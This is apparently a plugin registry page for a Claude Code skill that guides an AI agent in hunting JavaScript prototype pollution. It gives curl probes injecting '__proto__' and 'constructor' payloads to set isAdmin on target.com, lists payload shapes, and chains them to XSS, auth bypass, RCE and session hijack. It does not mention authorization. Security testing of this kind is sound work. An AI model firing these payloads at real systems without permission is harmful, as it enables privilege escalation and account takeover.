hunt-prototype-pollution · git:20260923.82a4143 · 2026-09-23 · sha256 a762c0d947d41015

hunt-prototype-pollution git:20260923.82a4143A

Immutable. This exact content never changes and is served at /api/v1/blob/a762c0d947d41015.

No tool to install first
claude plugin marketplace add https://markdownregistry.com/mp/a/art_6jioen2zjveqx3bj/a762c0d947d4101574ebe7bc2fc9568050f60acdccf0c781638efbdae6f6fb1a.json

Then /plugin install hunt-prototype-pollution@markdownregistry-6jioen2zjveqx3bj in Claude Code. It installs this exact version, the one graded A here, pinned to the commit it was graded at, and leaves it there.

---
name: hunt-prototype-pollution
description: JS prototype pollution — __proto__, constructor, Object.assign, merge, clone. Chains to XSS, RCE, auth bypass.
---

# PROTOTYPE POLLUTION — 3 BULLETS MAX

**Core:** Inject properties into Object.prototype → affects all objects.

## DETECTION
```bash
# Basic test
curl -s -X POST "https://target.com/api/merge" -H "Content-Type: application/json" \
  -d '{"__proto__":{"isAdmin":true}}'
curl -s "https://target.com/api/users/me" | grep -i "isAdmin"
# If isAdmin=true → prototype pollution CONFIRMED
# Alternative
curl -s "https://target.com/api/user?__proto__[isAdmin]=true"
curl -s "https://target.com/api/merge?__proto__=polluted"
```

## ATTACKS
```
__proto__: {"__proto__":{"isAdmin":true}}
constructor: {"constructor":{"prototype":{"isAdmin":true}}}
merge/clone: send polluted object to server-side merge
Object.assign: pollute via Object.assign({}, userInput)
Deep merge: nested objects pollute prototype chain
```

## CHAINS
```
Prototype pollution → XSS (if polluted value in innerHTML) → ATO → Critical
Prototype pollution → auth bypass (isAdmin=true) → Critical
Prototype pollution → RCE (if server-side template rendering) → Critical
Prototype pollution → cookie poisoning → session hijack → High
```